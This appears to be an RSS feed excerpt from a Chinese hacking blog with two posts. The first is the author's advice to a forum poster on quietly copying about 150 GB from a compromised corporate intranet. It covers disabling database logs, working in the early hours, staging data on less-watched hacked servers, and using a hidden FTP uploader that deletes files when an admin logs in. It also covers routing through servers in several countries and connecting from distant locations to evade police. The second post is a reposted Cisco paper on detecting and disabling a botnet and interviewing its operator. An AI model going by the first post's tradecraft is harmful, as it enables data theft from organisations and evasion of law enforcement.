无论是哪一种情况，在渗透过程中绝对不要随便去“黑”或者“登陆查看”你已经获取到权限的机器。你必须弄清楚你的目的！并且搞清楚应该不应该查看或 “黑”这些服务器。无关的机器不要随便碰。 当然大部分情况可能是随便撞或登陆看看是否和目标有关联，在渗透过程中，比如遇到障碍，没有明确思路的时候，会随便黑对方服务器来撞运气，比如黑（查 看）一台是一台，搞到权限就去看，看有没关联，这是渗透初级菜鸟们才会干的及其傻的事情，此乃大忌！ 要明白你所做的操作越多，哪怕多开了一个网页、多看了一个文件，多扫描了一个服务器都可能给对方管理员留下线索！不要做任何可能引起管理员察觉的无谓操 作。 而内网渗透在取得24小时内网机器后，最佳的进入内网时间就是当地时间的凌晨，当然需要对方内网配合你的一些操作的情况下例外。 作为专业渗透人员！在渗透过程中一定要谨记： 1使用2个国家以上的服务器作为双层跳转(严禁单层跳转），建议自己租几个国家的服务器，这样稳定、安全。很多同学跳板都用了，但还是被GA叔叔game over了。。栽就栽在“肉鸡”上。 别省那几个钱，租吧！而且不要租国内代理商提供的国外服务器，直接找国外IDC租！付当地货币！我就是~（如内网端口转发速度太慢，千万不能在本地直接连 接或转发，请自备3G上网卡或wifi前往离住所直径10KM以上的地方进行直接连接,本人一般是把车开到某些大型联通营业厅附近然后插入车载电源逆变 器，因为我是联通3G，而联通速度最快、信号最强的地方就是营业厅附近，他们要做展示用嘛） 2在与对方公司人员或“机器”接触过程中严禁使用与自己有关联的ID、网站、软件等等，要注意擦除你操作的痕迹，哪怕只是正常访问对方公司网站，也要用跳 转！ 要记住：不要轻易访问对方的内网，在你尝试渗透他们之前，先做好详细的渗透计划，根据了解到的信息，将所有可能遇到的问题因素做个初步判断。再根据实际遇 到的情况随机应变。 很多搞渗透的同学很容易犯的一个严重错误就是随便玩什么“柳暗花明又一村”，搞一台服务器搞不下来，想尝试看看周边的服务器或应用是否有相关联的。 很多时候根本没有，自己做了些无谓的操作。而这很容易导致问题的出现。一定不要漫无目的的乱碰对方的任何东西！人也好、机器也好都一样。 不做好详细渗透计划，就盲目开工的同学，即便你成功KO了对方，取得了你想要的东西。但这又有什么用？只有没经验的菜鸟才会以成功作为一次渗透的总 结。好的渗透人员在了解对方的情况后，做出渗透计划后就已经等同于KO掉了目标，而不是等结果出来，才知道。我们需要的是完美的过程！而不仅仅是一个结 果。 [...]]]></description>
			<content:encoded><![CDATA[<p>1你的内网入口机器属于什么性质？例如：24小时运转的应用服务器、测试机器、员工办公机器、VPN？<br />
根据你的回帖，可以得知，你目前既然已经拥有了数台内网服务器权限，那么应该是通过其内网反弹后门转发端口进入内网，我估计是应用服务器。而初期可能是通 过员工办公机器或者对方映射到公网上面的应用服务器进入内网的。</p>
<p>2此内网数据存储服务器属于几级内网？这个问题你未具体描述，因为往往会遇到1级、2级、3级甚至更深的类城域网结构。<br />
这里假设你遇到的只是最初级的1级内网，既：内网可互通</p>
<p>3你目前行为的目的是什么？你描述说你需要将数据拷贝出来，但你又回帖说搞定了他们几台服务器，那么我的问题就是，根据你最后一次的回帖，不太明白你目前 的状况。A你无聊？B你还有其他目的？C你还没有搞定那台或数台数据储存服务器？<br />
你不回答清楚，无法帮你参考啊。各种情况下，有不同的解决方式。<br />
这里就仅认为你已经搞定数据储存服务器、并且只是基于成就感继续KO他们的服务器吧。<br />
<span id="more-1721"></span><br />
综合上述条件，判断楼主遇到的只是较初级内网,至于多少万多NB的防火墙不在考虑范围内，那个东西就是纸老虎。<br />
如果你仅仅只是想拷贝数据，并且是数据库方式储存的话，我的建议就是将数据库按表段来导出，其实你需要的数据可能就仅仅储存在少数几个表内，如果是数 据过于庞大，在导出的过程中会占用大量时间，你需要做的就是：</p>
<p>将数据库服务器登陆日志查看一边，按照内网所属国的当地正常上班时间（我不知道是哪个国家）进行判断，确定在他们的睡眠时间内（既最安全时间当地时间凌晨 3点-早上6点）无人登陆，建议选择在周末凌晨进行，这个时间之所以认为安全，是因为即便是该公司有夜班人员值班，在无聊的深夜，不是打瞌睡、也是在做自 己的事情（大部分夜班人员无人监督）<br />
假设你所导出的数据表段过于庞大，那么就按字段导出（需注意的是在导出前关闭数据库日志服务，由于我不知道你搞的是什么类型的数据库，是属于WIN平台 还是类Unix平台，而关闭日志的方式在各平台也都不同，五花八门的..这个就不说了。）</p>
<p>然后将每个字段导出的数据进行压缩，用最快的速度在内网传到一个你KO掉、并且经过判断登陆日志后觉得最少被登陆的一台服务器上，由于是内网所以下载速 度非常快，不用担心下不完。这么做的原因是尽量减少在受到关注的数据库服务器上停留过久。因为你上传或下载到外网耗时太久，所以需要先将数据转移到其他不 受关注的内网机器上。</p>
<p>根据个人经验判断，如果真有150G的数据，在3个小时内肯定无法完工，那么楼主就需要N个"午夜3小时"来重复上述操作了。</p>
<p>接着需要做的就是，在每次午夜3小时结束前，留下合理的上传时间，将每天内网下载的数据上传到你外网的服务器，推荐找个和此内网同地区的IDC租个当地 的服务器或直接黑一个，用作数据中转，这样速度会最快。至于上传，我不知道你是怎么做的，我都是用自己的FTP程序，隐藏在系统内，设定好上传参数（我的 隐藏FTP程序多功能的哦），比如我可以设置：本次上传几个小时、上传什么格式的文件、优先上传什么格式、上传限速多少、上传哪个或多个磁盘目录路径、是 否断点续传、定时检测服务器是否有登陆，如有管理员登陆采取哪种措施：1删除所有等待上传的文件并退出程序、2直接中断上传、退出程序。</p>
<p>可能你现在已经完工了，我权当参与讨论。方法很普通，也不高雅，还很累：）但自认为是较安全的方式了。至少我常用。</p>
<p>不过话说回来啊楼主，怎么导出数据是一回事，但更重要的是你要弄明白你的“目的”，内网渗透最忌讳的就是拖延时间，讲究的是在不惊扰对方的前提下速战速 决！类似ARP的傻事，能不干，就千万别干。</p>
<p>你后来的回帖说你又弄了对方几台机器，这里你需要考虑几个问题：<br />
1你为什么要搞你后来说的这些机器？<br />
A管理员中马了，你随意登陆进去看看？<br />
B你通过其他漏洞搞的？<br />
C密码问题？</p>
<p>无论是哪一种情况，在渗透过程中绝对不要随便去“黑”或者“登陆查看”你已经获取到权限的机器。你必须弄清楚你的目的！并且搞清楚应该不应该查看或 “黑”这些服务器。无关的机器不要随便碰。<br />
当然大部分情况可能是随便撞或登陆看看是否和目标有关联，在渗透过程中，比如遇到障碍，没有明确思路的时候，会随便黑对方服务器来撞运气，比如黑（查 看）一台是一台，搞到权限就去看，看有没关联，这是渗透初级菜鸟们才会干的及其傻的事情，此乃大忌！</p>
<p>要明白你所做的操作越多，哪怕多开了一个网页、多看了一个文件，多扫描了一个服务器都可能给对方管理员留下线索！不要做任何可能引起管理员察觉的无谓操 作。</p>
<p>而内网渗透在取得24小时内网机器后，最佳的进入内网时间就是当地时间的凌晨，当然需要对方内网配合你的一些操作的情况下例外。<br />
作为专业渗透人员！在渗透过程中一定要谨记：</p>
<p>1使用2个国家以上的服务器作为双层跳转(严禁单层跳转），建议自己租几个国家的服务器，这样稳定、安全。很多同学跳板都用了，但还是被GA叔叔game over了。。栽就栽在“肉鸡”上。<br />
别省那几个钱，租吧！而且不要租国内代理商提供的国外服务器，直接找国外IDC租！付当地货币！我就是~（如内网端口转发速度太慢，千万不能在本地直接连 接或转发，请自备3G上网卡或wifi前往离住所直径10KM以上的地方进行直接连接,本人一般是把车开到某些大型联通营业厅附近然后插入车载电源逆变 器，因为我是联通3G，而联通速度最快、信号最强的地方就是营业厅附近，他们要做展示用嘛）</p>
<p>2在与对方公司人员或“机器”接触过程中严禁使用与自己有关联的ID、网站、软件等等，要注意擦除你操作的痕迹，哪怕只是正常访问对方公司网站，也要用跳 转！</p>
<p>要记住：不要轻易访问对方的内网，在你尝试渗透他们之前，先做好详细的渗透计划，根据了解到的信息，将所有可能遇到的问题因素做个初步判断。再根据实际遇 到的情况随机应变。<br />
很多搞渗透的同学很容易犯的一个严重错误就是随便玩什么“柳暗花明又一村”，搞一台服务器搞不下来，想尝试看看周边的服务器或应用是否有相关联的。<br />
很多时候根本没有，自己做了些无谓的操作。而这很容易导致问题的出现。一定不要漫无目的的乱碰对方的任何东西！人也好、机器也好都一样。</p>
<p>不做好详细渗透计划，就盲目开工的同学，即便你成功KO了对方，取得了你想要的东西。但这又有什么用？只有没经验的菜鸟才会以成功作为一次渗透的总 结。好的渗透人员在了解对方的情况后，做出渗透计划后就已经等同于KO掉了目标，而不是等结果出来，才知道。我们需要的是完美的过程！而不仅仅是一个结 果。</p>
<p>一定要弄清楚你的目的、要有清晰的思路，如果没有，就等到你想出来再搞！<br />
对于一个搞渗透的人来说，当确定任务目标后，我们需要考虑的不是能不能搞定！而是需要多长时间搞定！在我们的字典里不应该有失败这个词。这就是我的渗透准 则。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年09月20日 -- <a href="http://www.4shell.org/archives/2027.html" title="各种网络环境渗透测试简述">各种网络环境渗透测试简述</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1899.html" title=" 一次Linux下的普通渗透测试"> 一次Linux下的普通渗透测试</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年09月9日 -- <a href="http://www.4shell.org/archives/1846.html" title="如何执行一个渗透测试">如何执行一个渗透测试</a></li><li>2010年09月9日 -- <a href="http://www.4shell.org/archives/1845.html" title="什么是网络渗透测试？">什么是网络渗透测试？</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1721.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Infiltrating a Botnet</title>
		<link>http://www.4shell.org/archives/1061.html</link>
		<comments>http://www.4shell.org/archives/1061.html#comments</comments>
		<pubDate>Thu, 27 Aug 2009 15:50:15 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Botnet]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1061.html</guid>
		<description><![CDATA[cisco安全情报中心发 的一个文章，原文标题是“Infiltrating a Botnet”，为了照顾各位的用户体验，我翻译成“渗透一个肉鸡网络”：）大致看了下，应该是伪装成肉鸡进入server，然后窃听肉鸡老板相关交易信 息的一个过程，挺有意思，相信玩bot的朋友在很久以前就中过这种道。 Overview Many teams at Cisco are dedicated to security research. One team recently investigated botnets with the goal of improving existing detection methods and discovering the techniques botmasters use to compromise machines. The team’s efforts were rewarded through their protection of an important customer’s network. Their discovery efforts also yielded extraordinary [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cisco.com/security" target="_blank">cisco安全情报中心</a>发 的一个文章，原文标题是“Infiltrating a Botnet”，为了照顾各位的用户体验，我翻译成“渗透一个肉鸡网络”：）大致看了下，应该是伪装成肉鸡进入server，然后窃听肉鸡老板相关交易信 息的一个过程，挺有意思，相信玩bot的朋友在很久以前就中过这种道。<br />
<span id="more-3393"> </span></p>
<h1>Overview</h1>
<p>Many teams at Cisco are dedicated to security research. One team recently investigated botnets with the goal of improving existing detection methods and discovering the techniques botmasters use to compromise machines. The team’s efforts were rewarded through their protection of an important customer’s network. Their discovery efforts also yielded extraordinary insights into the mind and motives of a botmaster. This paper discusses exploit protection and reports on the interviews the team held with the botmaster they encountered.</p>
<h1><a id="2" name="2"></a>Defending a Customer from a Botmaster</h1>
<p>Typically, administrators patch vulnerable machines or deploy some sort of intrusion prevention system (IPS) to protect against exploits.  Both approaches are effective the majority of the time, but neither approach protects systems against the uneducated user.  These approaches may not even protect people who take their machines home if the IPS is network-based. The user who will click and run anything is the greatest threat to any network.</p>
<p>Internet relay chat (IRC) traffic on non-standard ports is a good indicator of malicious activity. Simple botnets often use IRC as a command-and-control framework because the source code is readily available. Joining a chat network is not botnet activity, but it is usually not work-appropriate activity. Cisco offers a service that monitors and manages network-based IPS. By monitoring certain alerts from this data feed, suspicious IRC traffic was easily found.</p>
<h2><a id="3" name="3"></a>An Unsuspecting Customer</h2>
<p>A Cisco customer was unaware of dozens of compromised machines. A tremendous number of alerts including IRC activity, far larger than anything that could be benign, were occurring on the customer’s network. The traffic from several machines stood out from other systems on the network. There are occasionally oddities in a network, but when a small subset of machines is observed sharing the same odd behavior, researchers should take note.<br />
<span id="more-1061"></span><br />
Figure 1 shows a data feed from a Cisco IPS device.</p>
<p><strong>Figure 1. Monitoring a Cisco IPS Data Feed </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig1.jpg" alt="Monitoring a Cisco IPS Data Feed" /></p>
<p>Looking at the signature alerts, it was clear that the affected machines had been compromised. The Cisco IPS detected the attack, but unfortunately the customer was not running it inline or connected to the router, so the hits were not blocked. There were several different botnets involved that looked strangely similar. When inspecting the history of the machines, in addition to the IRC traffic, exploitation and reconnaissance attempts were discovered.</p>
<p>None of the traffic was encrypted, indicating that the attackers were either unsophisticated or unconcerned about hiding their tracks. The botmaster occasionally took basic precautions, such as using server and channel passwords, but failed to encrypt the data. Challenge-response exchanges were hidden in normal IRC traffic.</p>
<p>For example, upon connecting to a server, the bot would immediately have to ping “MrB|g” with the key “s3cr3+sq|_|rr3l” or it would be denied access to the server. This challenge-response method was also used by the clients in response to certain RFC 2812 commands, such as a client-to-client protocol version request. Additionally, the bots would respond to non-RFC 2812 commands. It was noted that different botnets seemed to share many of the same commands. This led to the belief that most, if not all, of these clients were based on a common source code.  Figure 2 shows the botnet.</p>
<p><strong>Figure 2. Botnet</strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig2.jpg" alt="Data Feed Analysis" /></p>
<p>At this point in the investigation, the team’s largest concern was for the customer. There was an urgent need to determine what the botnet was doing and what information had been compromised. By using the Cisco IPS, a wide range of data about the command-and-control networks was captured. For example, the network was separated into several discrete command-and-control nodes with different IP addresses. Over the course of a few weeks, commands were captured and the network was monitored to see what information the botmaster was targeting. An open source IRC client was set up to emulate an infected machine and join the network. This allowed continuous monitoring without having to leave any compromised machines active.</p>
<p>The botmaster targeted employees instead of the company itself.  This action likely helped the attacker to remain undetected. The botmaster’s mode of attack involved stealing employees’ passwords that were stored in Internet Explorer and then adding a redirect in the <em>hosts</em> file that enabled a man-in-the-middle attack against a bank in Latin America.</p>
<h2><a id="4" name="4"></a>Stopping the Bot</h2>
<p>Once the extent of the damage was determined, the bot needed to be stopped. The team was able to demonstrate the modification of the hosts file, making the compromise irrefutable. Some of the machines appeared to have been compromised dozens of times. A worm or trojan would compromise the machine and update the hosts file, only to have it corrected by the virus scanner (or other malware).</p>
<p>The correction would prevent the man-in-the-middle attack but the botnet would load normally. This action occurred each time the system booted. Some machines had dozens of entries that showed that the hosts file was corrected repeatedly. It became clear that it was not feasible to clean every infected machine, because in the time it took to alert the company to the problem, the personal information of hundreds of employees could be compromised.</p>
<p>The customer did not have the capability of running Cisco IPS inline, so the firewall was examined. When monitoring the botnet, it became very clear that the IRC servers would update fairly frequently. The IRC servers would move ports, servers, and change passwords, sometimes several times a day. This frequent updating made it extremely hard to block the command-and-control servers.</p>
<p>The team found a visible flaw in the attack:  the botmaster had overlooked the update servers. The botmaster had several domain names for the update server that could be broadcast by means of IRC to update the bots before a server change-over. Close inspection revealed that the IP address of the update server always belonged to one of a small group of machines. Blocks were put in place immediately.</p>
<p>When the botmaster issued the next update, only a few of the systems (and none from the customer) followed. The botmaster repeatedly issued the update command to no avail. When the machines were locked down to one IRC server, a single block was sufficient to disable the network.</p>
<p>Had the botnet-client been more robust, it would have been necessary to block backup networks. In this case, the customer was lucky, and the single block was sufficient.  The team continued monitoring the network to ensure the systems were unable to reconnect to the network, giving the customer the needed time to reimage all of the compromised machines. It was not a perfect solution, but it stopped the data leakage and prevented the systems from compromising other machines on the network.</p>
<h1><a id="5" name="5"></a>Conversations with a Botmaster</h1>
<p>With the customer protected, only curiosity remained. The team wondered what type of attacker would go to such complicated lengths but leave such a simple hole in their plan of attack. Did the botmaster have so many networks that it didn’t matter if one was blocked? Was the botmaster a script kiddie?  For answers, one of the researchers decided to go back to a monitoring box and ask. At this stage the customer was protected and the botmaster was likely away from the keyboard.  The researcher sent out an intrepid “hey” and received a response from the botmaster: “?”  Thus began what turned into a months-long conversation.</p>
<p>The botmaster, upon realizing that one of his bots was suddenly sentient, appeared to assume that the researcher was a fellow botmaster and that their respective networks had “collided.”  The researcher worked to strengthen the botmaster’s assumption. Pretending to be a fellow botmaster, the researcher asked about the server software. Figure 3 shows the initial conversation with the botmaster.</p>
<p><strong>Figure 3. Starting a Conversation </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig3.jpg" alt="Starting a Conversation" /></p>
<p>After some inconsequential chat, the researcher asked if the botmaster was using his network for anything interesting. The botmaster readily revealed his master plan: to compromise a few thousand machines and then sell them off in big batches. With careful questions, the researcher learned from the botmaster that the market rate was about US$0.10-$0.25 per machine and that the botmaster had recently sold 10,000 machines for US$800. In attempts to bond with the botmaster, the researcher discussed popular exploits, sharing stories of “pwning,” or gaining control of, dozens of machines at a time.</p>
<p>With a solid background in IPS, the researcher was aware of current trends in vulnerability research but asked in what area the botmaster focused his efforts. The expected answer was a Microsoft vulnerability that worms such as <em>Conficker</em> exploit. The botmaster’s answer, however, was that he mostly focused on instant messaging software. No vulnerability was required to grow his network. Instead, he could spam 10,000 people with a simple “check out this cool software” message and rely on at least a one percent response from the recipients. As an approach, it made sense, because the same process continues to work for spammers as it has worked for years, despite efforts at user education.</p>
<p>After revealing his methodology, the botmaster appeared to suddenly realize that perhaps he had shared too much information with an unknown person. He quizzed the researcher on “old school” (that is, previously well-known) hackers. The researcher responded that he did not know any of the old-school attackers. (When the researcher later did online searches on the old-school attackers, most of them had been apprehended by the Federal Bureau of Investigations.) By saying he did not know any of the attackers that the botmaster named, the researcher established credibility with the botmaster that he was not a law enforcement agent. After this exchange, the botmaster gave the researcher his contact information through Microsoft Network (MSN) so the two could communicate more easily. Figure 4 shows a trust-building session between the researcher and the botmaster.</p>
<p><strong>Figure 4. Building Trust </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig4.jpg" alt="Building Trust" /></p>
<h2><a id="6" name="6"></a>You Can Find Everything on the Internet</h2>
<p>As any good hacker would, the researcher immediately keyed the botmaster’s screen name into Google and found a few posts. The posts led the researcher to additional handles, or usernames, which then led to hundreds of posts by the same author. Under a different handle, the botmaster was the author of an enormous amount of IRC-based botnet software. He was also very well known in the black hat community, where attackers and hackers share information.</p>
<p>Intrigued, the researcher decided to accept the botmaster’s invitation to stay in touch. The researcher created an MSN account and, over the course of several days, multiple MSN conversations were held between the researcher and the botmaster. Topics focused primarily on secrets of the botnet trade and discussions of various software packages. The botmaster confirmed the researcher’s theory that many of the IRC-based botnets stemmed from a single source; however, he declined to provide a copy of the modified version he had adapted. Instead, the botmaster directed the researcher to an online forum that was contained a profusion of information regarding botnet activity.</p>
<p>Figures 5 and 6 shows the conversations of the botmaster directing the researcher to the forum.</p>
<p><strong>Figure 5. Directions to a Forum—Part 1 </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig5.jpg" alt="Directions to a Forum Part 1" /></p>
<p><strong>Figure 6. Directions to a Forum—Part 2 </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig6.jpg" alt="Directions to a Forum Part 2" /></p>
<h2><a id="7" name="7"></a>One-Stop Botnet Shopping</h2>
<p>The forum hosted discussions on all the information that anyone would need to form a botnet, including several detailed how-to guides.  The researcher was able to acquire source code for the bot and the server from the forum. The server code was based upon a modified Unreal IRC server. The client code, which would have no legitimate use, was a valuable source for IPS signatures. While it would be possible that all of the command functionality could be rewritten, if botmasters were capable of doing that, they likely wouldn’t use the publicly available source code.</p>
<p>Entire sections of the forum were dedicated to the buying and selling of botnet paraphernalia, such as RapidShare file hosting accounts, packers, password lists, bot software, and password stealers. The bot software is advertised much like any other software, listing various features such as “four methods of command and control,” “undetected by virus scanners,” “anti-x (sandbox, debugger, etc.),” “process monitoring,” and so forth. Several bot software authors have followed the Microsoft practice of offering multiple versions of software at tiered pricing levels.</p>
<p>The “For Sale” sections were governed by a very specific set of rules, including a rule that stated that botnet software could not be sold in the forum, likely due to the laws of the country in which the server hosting the forum resides.</p>
<p>The software for creating botnets, including directions and tutorials, was widely available for download or purchase. It was forbidden to sell the software on the forum if the software was publicly available, a rule that seemed to be an attempt to deter botmasters from taking advantage of one another. For concerned bot shoppers, all software was verified by a trusted moderator so that the buyer could trust that they would be receiving the software for which they were paying.</p>
<h2><a id="8" name="8"></a>Pretense to Avoid Pwning</h2>
<p>The customer who had originally been infected had been clean for months when the researcher decided to seek out the botmaster again to learn more about the botnet community. The researcher was concerned about not revealing any specifics about the customer or himself but needed to establish a level of trust with the botmaster. With these considerations in mind, the researcher decided it was more likely that the botmaster would speak with a journalist than an IPS specialist pretending to be a fellow botmaster.</p>
<p>After re-establishing contact with the botmaster, the researcher promptly “confessed” to being a reporter researching an article on botnets. The researcher explained that he had contacted the botmaster again because he was seeking the most accurate data possible for his article. The researcher expected his virtual disguise would pass the botmaster’s scrutiny because of the widespread disdain by certain groups in the security community of the quality of security reporting.</p>
<p>Within the security community, there is a perception that only a few reporters actually understand the security topics that they cover. Some part of nearly every story is wrong or greatly exaggerated. For example, a recent article in PC World [<a href="http://baoz.net/wp-admin/#ref-1">1</a>] stated that the widely publicized attack on the creator of Metasploit was performed by an unknown attacker who had weaponized Dan Kaminsky’s discovery of a fundamental flaw in DNS [<a href="http://baoz.net/wp-admin/#ref-2">2</a>]. The article contained so many errors that, in addition to a printed retraction, additional reporting was required to correct the published description of the issue [<a href="http://baoz.net/wp-admin/#ref-3">3</a>]. H D Moore, Metasploit’s creator, claimed that the statements attributed to him were completely fabricated [<a href="http://baoz.net/wp-admin/#ref-4">4</a>].</p>
<p>The botmaster had strong opinions on security reporting. He mentioned conflickr in particular as example of faulty reporting that resulted in exaggerated numbers of systems affected. One antivirus software company [<a href="http://baoz.net/wp-admin/#ref-5">5</a>] had based its publicly reported numbers of affected machine on a variable in the URI sent from the compromised machines. The variable, known as Q, reported the number of machines that had been successfully attacked to the botnet’s command and control system. This method of calculating the number of compromised machines was easily manipulated by Dynamic Host Configuration Protocol (DHCP) and other means. A user on the company’s public blog even posted a comment pointing out the possibility of easy manipulation, but the company dismissed the comment and did not correct its reported numbers.</p>
<p>The actual count of affected systems would not be realized until weeks later in a subsequent report by a separate research company [<a href="http://baoz.net/wp-admin/#ref-6">6</a>] that explicitly pointed out that “Q reports the number of machines that each victim claims to have infected. Q may be artificially inflated by reinfections and DHCP effects” (The Q variable is the value in the URI that was thought to report the number of compromised machines.) According to the latest report [<a href="http://baoz.net/wp-admin/#ref-7">7</a>], the numbers reported using the initial method was was off by a multiple of 50.</p>
<p>Figure 7 shows a continuation of the conversation between the researcher and the botmaster.</p>
<p><strong>Figure 7. A Little Anonymous Fame </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig7.jpg" alt="Anonymous Fame" /></p>
<p>The researcher assured the botmaster that even if he chose not to be interviewed or answer questions, he could have a little “anonymous fame.” Surprisingly, the botmaster agreed to participate. Recognizing the unusual opportunity, the researcher suggested a TOR audio conference [<a href="http://baoz.net/wp-admin/#ref-8">8</a>] using a method known as onion routing that would be untraceable. The botmaster reported he did not have a microphone available, but more likely, he feared the researcher would try to trace him through the tunneling connections. His reluctance to audio conference may also have been based on his lack of knowledge of the onion routing protocol. The researcher’s first question was why it would be preferable to sell bots instead of turning them into spam or phishing networks. The botmaster’s answer was that selling bots was a rarity; normally, bots would be used as a network for phishing attacks. When the researcher asked how much money could actually be made from phishing activities, the botmaster was evasive about his most lucrative bot activities, but said “a guy he knew” was able to earn US$5000 to US$10,000 a week solely through phishing activities.</p>
<p>Figures 8 and 9 show conversations about selling bots.</p>
<p><strong>Figure 8. Phish or Sell </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig8.jpg" alt="Phish or Sell" /></p>
<p><strong>Figure 9. Lucrative or Unprofitable? </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig9.jpg" alt="Lucrative or Unprofitable" /></p>
<p>The researcher offered the botmaster a lighter question, asking what was the strangest thing the botmaster had found on a compromised machine.  The botmaster replied he had found inappropriate pictures of a minor and had promptly reported the issue to the authorities.</p>
<p>The researcher asked the botnet owner about his proudest moment as a botmaster. The answer involved the Windows Distributed Component Object Model (DCOM) attack (MS03-026, IAM 11104), which exploited a bug in the DCOM Remote Procedure Call (RPC) interface.  The vulnerability existed in all modern versions of Windows at the time and was remarkably easy to exploit. The botmaster said that when he ran the attack, his server was flooded with joins, with each join representing the compromised machine of an unsuspecting user.</p>
<p>The researcher and the botmaster continued to chat, discussing protective measures. New security features in Windows Vista, such as kernel patch protection, prevented his bot from running in Ring0 [<a href="http://baoz.net/wp-admin/#ref-9">9</a>]. Ring0 is a term from system management mode. Briefly, this protection system involves three rings. Ring0 is the most privileged ring, where the kernel resides, and Ring3 is the least privileged ring, where a user’s programs execute. Given this limitation, the botmaster’s bot would not function on the Vista OS.</p>
<p>Figure 10 shows the conversation about Ring0</p>
<p><strong>Figure 10. Protective Measures </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig10.jpg" alt="Protective Measures" /></p>
<p>Over the course of the conversations, the botmaster revealed that he could never trust anyone 100 percent of the time and that it was necessary for him to be on guard constantly and follow good computing practices. Other botmasters would act on any opportunity to take over his networks, and according to Google-cache hits, they had tried in the past. However, lack of trust is common among botnet owners, and with good reason. In one instance, the botmaster had used a hijacked account to impersonate a law enforcement official and force another botmaster to abandon a 6,000-node network. The botmaster had to remain alert at all times, his firewall blocking nearly all inbound connections, and surfing the Internet via proxy chains [<a href="http://baoz.net/wp-admin/#ref-10">10</a>] to remain anonymous.</p>
<p>The botmaster recommended a list of best and worst sites that are based around forums. Forums may facilitate the code re-use that is often associated with botnet clients. The botnet community is similar to the open source community, in which more experienced users in the forum help or humiliate new botmasters. According to the botmaster, only 20 percent really understand the code offered through the forums; the rest simply run the code and do their best to follow the help files. He estimated another three to five percent of botmasters write unique code.</p>
<p>Figure 11 shows a conversation in which the botmaster estimates the percentage of unique coders.</p>
<p><strong>Figure 11. Who Writes Code? </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig11.jpg" alt="Who Writes Code" /></p>
<h1><a id="9" name="9"></a>Conclusion</h1>
<p>Many people, researchers included, wonder why attackers do not pursue legitimate IT or programming jobs. According to the botmaster, the barriers to legitimate work are a criminal record and a lack of professional education; frequently, both factors prevent attackers from gaining regular employment.</p>
<p>Figure 12 shows the conversation regarding barriers to legitimate occupations.</p>
<p><strong>Figure 12. Why not Get a Real Job? </strong></p>
<p><img src="http://www.cisco.com/web/about/security/images/csc_child_pages/white_papers/cw_botnet_Fig12.jpg" alt="Get a Job" /></p>
<p>The researcher asked how attackers experience security companies and services, and whether the botmaster felt pressured by the security companies. His response was that “a few companies catch on very quickly but, for the most part, it is business as usual.”</p>
<p>As the botmaster stated, running a botnet was his business. The criminality of running a botnet was simply a by-product of his primary means of employment. The botmaster’s product is a management interface to a multinode network that can be sold to other customers for a profit. Perceiving himself as a small business owner, the botmaster is not concerned with impacting the functionality of a user’s personal computer or with the possibilities of identity theft or data leakage, but instead with generating income.</p>
<p>Anyone with basic computer experience is able to run a botnet. It is not necessary to understand the code, nor is there a need to understand networking. Both traditional and new media organizations frequently report on the need to patch against the latest threat that exploits a recent vulnerability. Readers rarely hear, however, about the kid who lives in their neighborhood who runs a 10,000-node botnet based off of MSN instant message spam. All bots are not created with equal proficiency. Botmasters are implementing cutting-edge evasion techniques to avoid detection and prevent reverse engineering. It is imperative to keep attackers of both types in mind, professionals and script kiddies, when designing a network’s defenses. To effectively combat the bot economy, the cost of doing business must be raised by educating users and following security best practices. Attackers pursue easy money. Maximum gain with minimal effort is the prime motivator for a botmaster. If the time required to compromise machines increases, attackers will move on to easier targets.</p>
<p>Patching is important, but user education is key. A corporation can deploy the latest security measures but remain vulnerable to data theft, hosting spam servers, or worse.  Business users must be educated to comply with safe behavior. If policies are not in place to limit the infiltration on non business communications or if users do not understand the importance of leaving random files unopened, there is little point in administrators patching machines.</p>
<p>Using Cisco IPS alerts, the research team was able to successfully identify and disable a botnet. The IRC traffic on non-standard ports was a clear sign of compromised systems. Without Cisco IPS, the customer would have been blind to the botnet activity and its employees could have had their stored password compromised leading to bank fraud or identify theft. If the customer had been able to run the IPS inline, the compromise would not have occurred. An intrusion detection system also has its place in a network; without the history of previous alerts from a management tool, the remediation for the customer’s system would not have been possible.</p>
<h1><a id="10" name="10"></a>References</h1>
